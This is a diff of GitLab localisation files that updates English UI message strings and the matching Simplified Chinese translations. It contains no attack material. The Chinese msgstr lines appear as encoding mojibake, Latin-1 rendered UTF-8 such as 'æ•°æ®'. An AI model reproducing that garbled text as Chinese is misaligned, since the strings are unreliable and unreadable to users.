msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44678,10 +45355,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -44849,10 +45526,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45056,9 +45733,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45128,6 +45802,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46568,7 +47266,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,7 +47299,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47004,6 +47714,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47299,6 +48012,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47452,8 +48168,9 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr ""
@@ -47690,6 +48407,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -49864,6 +50584,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/zh_CN/gitlab.po b/locale/zh_CN/gitlab.po
index c805cd23694..74763a6ca90 100644
--- a/locale/zh_CN/gitlab.po
+++ b/locale/zh_CN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-CN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr "从%{start}到%{end}"
@@ -291,7 +291,7 @@ msgstr[0] "%d个更多评论"
msgid "%d package"
msgid_plural "%d packages"
-msgstr[0] ""
+msgstr[0] "%d 个软件包"
msgid "%d pending comment"
msgid_plural "%d pending comments"
@@ -431,10 +431,10 @@ msgid "%{chartTitle} no data series"
msgstr "%{chartTitle} 没有数æ®ï¼"
msgid "%{codeStart}$%{codeEnd} will be treated as the start of a reference to another variable."
-msgstr ""
+msgstr "%{codeStart}$%{codeEnd} 将被视为对å¦ä¸€ä¸ªå˜é‡çš„引用的开始。"
msgid "%{code_open}Expanded:%{code_close} Variables with %{code_open}$%{code_close} will be treated as the start of a reference to another variable."
-msgstr ""
+msgstr "%{code_open}Expanded:%{code_close} å˜é‡å¸¦æœ‰ %{code_open}$%{code_close} 符å·å°†è¢«å½“作一个引用å¦ä¸€ä¸ªå˜é‡çš„开始。"
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr "%{code_open}éšè—:%{code_close} éšè—在作业日志中。必须符åˆéšè—è¦æ±‚。"
@@ -630,10 +630,10 @@ msgid "%{host} sign-in from new location"
msgstr "%{host} 从新ä½ç½®ç™»å½•"
msgid "%{human_readable_key} exceeds %{max_value_length} characters"
-msgstr ""
+msgstr "%{human_readable_key} 超过 %{max_value_length} 个字符"
msgid "%{human_readable_key} is less than %{min_value_length} characters"
-msgstr ""
+msgstr "%{human_readable_key} å°äºŽ %{min_value_length} 个字符"
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr "%{integrations_link_start}集æˆ%{link_end}使得将第三方应用程åºæˆä¸ºGitLab工作æµç¨‹çš„一部分。如果当å‰å¯ç”¨çš„集æˆä¸èƒ½æ»¡è¶³æ‚¨çš„需求,å¯ä»¥è€ƒè™‘使用 %{webhooks_link_start}webhook%{link_end}。"
@@ -659,6 +659,9 @@ msgstr "%{italic_start}新增功能%{italic_end} 处于未激活状æ€ä¸”无法æ
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount}个议题,上é™ä¸º%{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr "%{key} ä¸æ˜¯æœ‰æ•ˆçš„ URL。"
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}实际å“应:%{labelEnd} %{headers}"
@@ -731,6 +734,9 @@ msgstr "%{level_name} ä¸å…许在 %{group_level_name} 组。"
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "由于派生的æºé¡¹ç›®å¯è§æ€§è¾ƒä½Žï¼Œå› æ­¤ä¸å…许使用%{level_name}。"
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr "%{linkStart}了解更多%{linkEnd}。"
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}从标题中删除%{draft_snippet}å‰ç¼€%{link_end},å…许此åˆå¹¶è¯·æ±‚在准备就绪时被åˆå¹¶ã€‚"
@@ -861,6 +867,12 @@ msgstr "%{project_path} 是一个项目,您å¯ä»¥ä½¿ç”¨è¯¥é¡¹ç›®å°†è‡ªè¿°æ–‡ä»
msgid "%{ref} cannot be added: %{error}"
msgstr "无法添加%{ref}:%{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr "%{relation_type} å²è¯—ä¸å­˜åœ¨ã€‚"
+
+msgid "%{relation_type} epic is not present."
+msgstr "%{relation_type} å²è¯—ä¸å­˜åœ¨ã€‚"
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases}个å‘布"
@@ -875,7 +887,11 @@ msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnM
msgstr "%{reportType}检测到%{totalStart}%{total}%{totalEnd}个潜在的%{vulnMessage}"
msgid "%{reportType} detected no new vulnerabilities."
-msgstr ""
+msgstr "%{reportType} 未检测到新æ¼æ´žã€‚"
+
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}é‡è¯•%{retryButtonEnd}或%{newFileButtonStart}添加新文件%{newFileButtonEnd}。"
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] "%{selectedProjectsCount} 个项目"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1010,10 +1023,6 @@ msgstr "%{template_project_id}为未知或无效"
msgid "%{text} is available"
msgstr "%{text}å¯ç”¨"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type}ä¸æ”¯æŒç‡ƒçƒ§å›¾"
@@ -1054,7 +1063,7 @@ msgid "%{type} only supports %{name} name"
msgstr "%{type} åªæ”¯æŒ %{name} å称"
msgid "%{url} (optional)"
-msgstr ""
+msgstr "%{url}(å¯é€‰ï¼‰"
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (æ— æƒåˆå¹¶)"
@@ -1175,7 +1184,7 @@ msgid "(Group Managed Account)"
msgstr "(由群组管ç†çš„å¸æˆ·)"
msgid "(Limited to %{quota} pipeline minutes per month)"
-msgstr ""
+msgstr "(æ¯æœˆé™åˆ¶ %{quota} æµæ°´çº¿åˆ†é’Ÿæ•°ï¼‰"
msgid "(No changes)"
msgstr "(æ— å˜æ›´å†…容)"
@@ -1184,7 +1193,7 @@ msgid "(UTC %{offset}) %{timezone}"
msgstr "(UTC %{offset}) %{timezone}"
msgid "(Unlimited pipeline minutes)"
-msgstr ""
+msgstr "(无é™æµæ°´çº¿åˆ†é’Ÿæ•°ï¼‰"
msgid "(check progress)"
msgstr "(检查进度)"
@@ -1409,8 +1418,8 @@ msgid_plural "%d roles"
msgstr[0] "%d 个角色"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "%{num} ä½ç”¨æˆ·"
+msgid_plural "%d users"
+msgstr[0] "%d 个用户"
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1633,6 +1642,9 @@ msgstr "å˜åŸº(rebase)正在进行中"
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "您的å¸æˆ·å·²ä»Žä¸‹åˆ—IP地å€ç™»å½•: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr "用于å¯åŠ¨æ–° TYPO3 项目的模æ¿"
+
msgid "A title is required"
msgstr "请输入标题。"
@@ -1777,9 +1789,6 @@ msgstr "AWS 访问密钥 ID(å¯é€‰ï¼‰"
msgid "AWS secret access key (Optional)"
msgstr "AWS secret 访问密钥(å¯é€‰ï¼‰"
-msgid "AWS service error: %{error}"
-msgstr "AWSæœåŠ¡é”™è¯¯ï¼š%{error}"
-
msgid "Abort"
msgstr "终止"
@@ -1828,9 +1837,6 @@ msgstr "访问令牌"
msgid "Access denied for your LDAP account."
msgstr "无法使用您的LDAPå¸æˆ·è¿›è¡Œç™»å½•ã€‚"
-msgid "Access denied: %{error}"
-msgstr "æ‹’ç»è®¿é—®ï¼š%{error}"
-
msgid "Access expires"
msgstr "访问过期"
@@ -1990,8 +1996,8 @@ msgstr "æ“作"
msgid "Activate Service Desk"
msgstr "å¯ç”¨æœåŠ¡å°"
-msgid "Activated on"
-msgstr "激活于"
+msgid "Activated"
+msgstr "已激活"
msgid "Active"
msgstr "å¯ç”¨"
@@ -2068,6 +2074,9 @@ msgstr "添加检查清å•"
msgid "Add a collapsible section"
msgstr "添加å¯æŠ˜å éƒ¨åˆ†"
+msgid "Add a comment"
+msgstr "添加评论"
+
msgid "Add a comment to this line"
msgstr "å‘此行添加评论"
@@ -2252,7 +2261,7 @@ msgid "Add text to the sign-in page. Markdown enabled."
msgstr "将文本添加到登录页é¢ã€‚Markdownå·²å¯ç”¨ã€‚"
msgid "Add time entry"
-msgstr ""
+msgstr "添加时间æ¡ç›®"
msgid "Add to board"
msgstr "添加到é¢æ¿"
@@ -2342,7 +2351,7 @@ msgid "Adding new applications is disabled in your GitLab instance. Please conta
msgstr "当å‰GitLab实例ç¦æ­¢æ·»åŠ æ–°åº”用程åºã€‚请è”系您的GitLab管ç†å‘˜ä»¥èŽ·å¾—相关æƒé™ã€‚"
msgid "Additional diagram formats"
-msgstr ""
+msgstr "其他图表格å¼"
msgid "Additional minutes"
msgstr "更多的分钟数"
@@ -2446,15 +2455,18 @@ msgstr "激活用户"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "本实例中创建的所有用户,其中也包括éž%{billable_users_link_start}收费用户%{billable_users_link_end}。"
-msgid "AdminArea|Billable users"
-msgstr "计费用户"
-
msgid "AdminArea|Blocked users"
msgstr "å·²ç¦ç”¨ç”¨æˆ·"
msgid "AdminArea|Bots"
msgstr "机器人"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr "计费用户明细"
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr "éžè®¡è´¹ç”¨æˆ·æ˜Žç»†"
+
msgid "AdminArea|Components"
msgstr "组件"
@@ -2536,12 +2548,21 @@ msgstr "åœæ­¢ä½œä¸š"
msgid "AdminArea|Stopping jobs failed"
msgstr "åœæ­¢ä½œä¸šå¤±è´¥"
+msgid "AdminArea|Total Billable users"
+msgstr "计费用户总数"
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "所有用户"
-msgid "AdminArea|Updated %{last_update_time}"
+msgid "AdminArea|Totals"
msgstr ""
+msgid "AdminArea|Updated %{last_update_time}"
+msgstr "已更新于 %{last_update_time}"
+
msgid "AdminArea|Users"
msgstr "用户"
@@ -2566,6 +2587,12 @@ msgstr "查看最新的用户"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "您å³å°†åœæ­¢æ‰€æœ‰ä½œä¸šï¼Œè¿™ä¼šä¸­æ–­å¹¶ç»“æŸæ‰€æœ‰æ­£åœ¨è¿è¡Œçš„作业。"
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "加载统计数æ®æ—¶å‡ºé”™ã€‚请å†è¯•ä¸€æ¬¡"
@@ -2620,6 +2647,9 @@ msgstr "默认情况下,所有新项目都å¯ä»¥ä½¿ç”¨å®žä¾‹çš„共享Runner。
msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto DevOps 域"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr "默认情况下,将é™åˆ¶è®¾ç½®ä¸º 0 表示没有é™åˆ¶ã€‚"
+
msgid "AdminSettings|CI/CD limits"
msgstr "CI/CD é™åˆ¶"
@@ -2689,6 +2719,9 @@ msgstr "å¯ç”¨ kuromoji 自定义分æžå™¨ï¼šç´¢å¼•"
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr "å¯ç”¨ kuromoji 自定义分æžå™¨ï¼šæœç´¢"
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr "å¯ç”¨é€šè¿‡ç›´æŽ¥ä¼ è¾“è¿ç§» GitLab 群组和项目"
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr "å¯ç”¨æµæ°´çº¿å»ºè®®æ示"
@@ -2776,6 +2809,9 @@ msgstr "æ¯ä¸ªé¡¹ç›®çš„最大活跃æµæ°´çº¿çš„æ•°é‡"
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr "æ¯ä¸ªé¡¹ç›®çš„最大自定义域åæ•°"
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr "管é“层次结构树中下游æµæ°´çº¿çš„最大数é‡"
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr "å•ä¸ªæµæ°´çº¿ä¸­ä½œä¸šçš„最大数é‡"
@@ -2843,7 +2879,7 @@ msgid "AdminSettings|Select a CI/CD template"
msgstr "选择一个 CI/CD 模æ¿"
msgid "AdminSettings|Select a group to use as a source of custom templates for new projects. %{link_start}Learn more%{link_end}."
-msgstr ""
+msgstr "选择一个群组作为新项目的自定义模æ¿æºã€‚%{link_start}了解更多%{link_end}。"
msgid "AdminSettings|Select to disable public access for Pages sites, which requires users to sign in for access to the Pages sites in your instance. %{link_start}Learn more.%{link_end}"
msgstr "选择ç¦ç”¨Pages站点的公开访问æƒé™ï¼Œè¿™éœ€è¦ç”¨æˆ·ç™»å½•æ‰èƒ½è®¿é—®æ‚¨çš„Pages站点。 %{link_start}了解更多。%{link_end}"
@@ -2863,9 +2899,6 @@ msgstr "å¯ç”¨2FAæ—¶Gitæ“作的会è¯æŒç»­æ—¶é—´ï¼ˆåˆ†é’Ÿï¼‰"
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr "å°†CI/CD模æ¿è®¾ç½®ä¸ºå®žä¾‹ä¸­æ‰€æœ‰é¡¹ç›®æ‰€éœ€çš„æµæ°´çº¿é…置。当æµæ°´çº¿è¿è¡Œæ—¶ï¼Œé¡¹ç›®CI/CDé…ç½®åˆå¹¶åˆ°æ‰€éœ€çš„æµæ°´çº¿é…置中。%{link_start}什么是必需的æµæ°´çº¿é…ç½®?%{link_end}"
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "å°†é™åˆ¶è®¾ç½®ä¸º 0 å¯ä»¥ç¦ç”¨ã€‚"
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr "设置新注册的群组 runners 认è¯ä»¤ç‰Œçš„过期时间。"
@@ -2911,6 +2944,9 @@ msgstr "所需æµæ°´çº¿é…置的模æ¿å¯ä»¥æ˜¯GitLabæ供的模æ¿ä¹‹ä¸€ï¼Œä¹Ÿ
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr "有需è¦æš‚åœç´¢å¼•çš„高级æœç´¢è¿ç§»å¾…处ç†ã€‚索引必须ä¿æŒæš‚åœï¼Œç›´åˆ°å®Œæˆè¿ç§»ã€‚"
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr "æ­¤é™åˆ¶æ— æ³•ç¦ç”¨ã€‚设置为 0 以阻止所有 DAG ä¾èµ–项。"
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr "è¦å¯ç”¨æ³¨å†ŒåŠŸèƒ½ï¼Œè¯·å…ˆå¯ç”¨Service Ping。"
@@ -3157,8 +3193,8 @@ msgstr "有关您的GitLab实例使用情况的é‡è¦ä¿¡æ¯"
msgid "AdminUsers|Is using seat"
msgstr "正在使用许å¯å¸­ä½"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "由该用户创建的议题对其他用户ä¸å¯è§ã€‚"
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr ""
msgid "AdminUsers|It's you!"
msgstr "自己ï¼"
@@ -3202,6 +3238,9 @@ msgstr "个人项目将被ä¿ç•™"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "个人项目ã€ç¾¤ç»„和用户历å²å°†ä¿æŒä¸å˜"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "CI/CD 分钟数é…é¢"
@@ -3460,6 +3499,9 @@ msgstr "到期åŽï¼Œæ‚¨å°†æ— æ³•ä½¿ç”¨åˆå¹¶æ‰¹å‡†ã€å²è¯—或许多其他功能
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr "过期åŽï¼Œæ‚¨å°†æ— æ³•ä½¿ç”¨åˆå¹¶æ‰¹å‡†ã€å²è¯—或许多安全功能。"
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr "导出完æˆåŽï¼Œä»Žé€šçŸ¥ç”µå­é‚®ä»¶æˆ–此页é¢ä¸‹è½½æ•°æ®æ–‡ä»¶ã€‚ 然åŽæ‚¨å¯ä»¥ä»Žå¦ä¸€ä¸ª GitLab 实例的 %{strong_text_start}创建新群组%{strong_text_end} 页é¢å¯¼å…¥æ•°æ®æ–‡ä»¶ã€‚"
@@ -4102,9 +4144,6 @@ msgstr "为å²è¯—添加格å¼åŒ–标题时å‘生错误"
msgid "An error occurred while approving, please try again."
msgstr "批准时å‘生错误。请å†è¯•ä¸€æ¬¡ã€‚"
-msgid "An error occurred while authorizing your role"
-msgstr "授æƒæ‚¨çš„角色时出错"
-
msgid "An error occurred while checking group path. Please refresh and try again."
